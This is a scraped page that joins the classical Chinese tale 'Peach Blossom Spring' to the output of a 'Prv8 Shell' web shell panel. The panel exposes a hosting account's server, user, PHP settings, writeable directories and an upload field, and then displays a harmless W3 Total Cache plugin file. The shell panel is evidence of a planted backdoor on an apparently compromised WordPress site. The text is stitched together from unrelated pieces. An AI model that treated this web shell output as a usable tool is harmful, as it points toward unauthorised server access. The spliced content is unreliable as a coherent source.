晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/Util_Content.php
<?php
namespace W3TC;

class Util_Content {
	/**
	 * Check if content is HTML
	 *
	 * @param string  $content
	 * @return boolean
	 */
	static public function is_html( $content ) {
		$content = Util_Content::_is_html_prepare( $content );
		return stripos( $content, '<html' ) === 0 ||
			stripos( $content, '<!DOCTYPE' ) === 0;
	}

	/**
	 * Check if content is HTML or XML
	 *
	 * @param string  $content
	 * @return boolean
	 */
	static public function is_html_xml( $content ) {
		$content = Util_Content::_is_html_prepare( $content );
		return stripos( $content, '<?xml' ) === 0 ||
			stripos( $content, '<html' ) === 0 ||
			stripos( $content, '<!DOCTYPE' ) === 0;
	}

	static private function _is_html_prepare( $content ) {
		if ( strlen( $content ) > 1000 ) {
			$content = substr( $content, 0, 1000 );
		}

		if ( strstr( $content, '<!--' ) !== false ) {
			$content = preg_replace( '~<!--.*?-->~s', '', $content );
		}

		$content = ltrim( $content, "\x00\x09\x0A\x0D\x20\xBB\xBF\xEF" );
		return $content;
	}

	/**
	 * If content can handle HTML comments, can disable printout per request using filter 'w3tc_can_print_comment'
	 *
	 * @param unknown $buffer
	 * @return bool
	 */
	static public function can_print_comment( $buffer ) {
		if ( function_exists( 'apply_filters' ) )
			return apply_filters( 'w3tc_can_print_comment', Util_Content::is_html_xml( $buffer ) && !defined( 'DOING_AJAX' ) );
		return Util_Content::is_html_xml( $buffer ) && !defined( 'DOING_AJAX' );
	}

	/**
	 * Returns GMT date
	 *
	 * @param integer $time
	 * @return string
	 */
	static public function http_date( $time ) {
		return gmdate( 'D, d M Y H:i:s \G\M\T', $time );
	}

	/**
	 * Escapes HTML comment
	 *
	 * @param string  $comment
	 * @return mixed
	 */
	static public function escape_comment( $comment ) {
		while ( strstr( $comment, '--' ) !== false ) {
			$comment = str_replace( '--', '- -', $comment );
		}

		return $comment;
	}



	/**
	 * Deprecated. Added to prevent loading-order errors during upgrades
	 * from older w3tc plugin versions
	 **/
	static public function is_database_error() {
		return false;
	}



	/**
	 * Converts
	 * 127.0.0.1:1234 to ( '123.0.0.1', 1234 )
	 * tls://127.0.0.1:1234 to ( 'tls://123.0.0.1', 1234 )
	 * unix:/my/pipe to ( 'unix:/my/pipe', 0 )
	 *
	 * Doesnt fit to that class perfectly but selected due to common usage
	 * of loaded classes
	 */
	static public function endpoint_to_host_port( $server, $port_default = 0 ) {
		$p = strrpos( $server, ':' );
		if ( substr( $server, 0, 5 ) == 'unix:' || $p === false ) {
			return array( trim( $server ), $port_default );
		}

		return array(
			trim( substr( $server, 0, $p ) ),
			(int)substr( $server, $p + 1 ) );
	}
}

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